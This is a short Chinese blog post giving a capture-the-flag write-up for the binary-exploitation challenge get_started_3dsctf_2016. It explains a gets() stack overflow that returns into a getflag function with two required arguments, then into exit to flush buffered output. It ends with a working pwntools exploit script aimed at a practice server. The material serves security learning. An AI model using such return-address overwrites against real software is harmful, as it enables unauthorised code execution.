get_started_3dsctf_2016 1

image
gets造成栈溢出,返回地址填入getflag函数
打开看getflag函数,它功能是打开flag文件读取并输出。
image
如果我们的exp传入两个参数a1,a2还不够,因为程序若是不正常退出是没有回显的。(本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,即输出flag)
在functions里搜出exit函数,其地址为getflag函数的返回地址
然后发现还是不对,回到main函数的汇编代码
image
它并没有压入ebp,所以计算溢出位置不用覆盖ebp,即payload不用加4

exp
from pwn import *
context(os='linux', arch='amd64')

context.log_level='debug'
io = remote('node5.buuoj.cn',27872)
#io=process('./get_started_3dsctf_2016')
getflag=0x080489A0
exit=0x0804E6A0
payload=b'a'*0x38+p32(getflag)+p32(exit)
payload+=p32(814536271)+p32(425138641)
io.sendline(payload)
io.recv()
posted @ 2025-01-12 18:05  fdddddd  阅读(83)  评论(0)    收藏  举报